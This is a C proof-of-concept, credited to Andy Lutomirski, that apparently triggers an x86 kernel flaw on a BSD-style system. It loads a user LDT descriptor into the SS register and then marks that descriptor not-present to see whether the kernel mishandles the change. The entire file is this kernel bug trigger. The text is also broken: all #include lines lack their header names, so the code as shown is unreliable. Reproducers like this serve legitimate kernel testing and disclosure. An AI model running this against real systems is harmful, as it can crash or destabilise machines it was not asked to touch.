/* * Copyright (c) 2014-2015 Andy Lutomirski * GPL v2 */ #include #include #include #include #include #include #include static unsigned short GDT3(int idx) { return (idx << 3) | 3; } static unsigned short LDT3(int idx) { return (idx << 3) | 7; } static void do_it(void) { int ax; int idx; unsigned short hack_ss, final_ss; /* * Make a valid descriptor */ union descriptor desc; memset(&desc, 0, sizeof(desc)); desc.sd.sd_lolimit = 0xffff; desc.sd.sd_type = SDT_MEMRWA; desc.sd.sd_dpl = 3; desc.sd.sd_p = 1; desc.sd.sd_hilimit = 0xf; desc.sd.sd_gran = 1; desc.sd.sd_def32 = 1; idx = i386_set_ldt(LDT_AUTO_ALLOC, &desc, 1); if (idx < 0) err(1, "i386_set_ldt"); printf("+ Allocated LDT index %d\n", idx); hack_ss = LDT3(idx); /* valid but not present */ desc.sd.sd_p = 0; printf("+ Dry run (set SS to 0x%hx)... ", hack_ss); fflush(stdout); asm volatile ("mov %0,%%ss" : : "rm" (hack_ss)); printf("ok\n"); printf("+ Here goes... "); fflush(stdout); asm volatile ("mov %0,%%ss" : : "rm" (hack_ss)); /* * No syscalls before the int80 -- use of syscall or sysenter will * wipe SS. asm volatile ("int $0x80" : "=a" (ax) : "a" (SYS_modify_ldt), "b" (1), "c" (&desc), "d" (sizeof desc)); */ if (i386_set_ldt(idx, &desc, 1) < 0) { printf("\n"); err(1, "i386_set_ldt"); } asm volatile ("mov %%ss,%0" : "=rm" (final_ss)); printf("\n+ We survived with SS=0x%hx. That shouldn't have happened.\n", final_ss); } int main(int argc, char **argv) { do_it(); return 0; }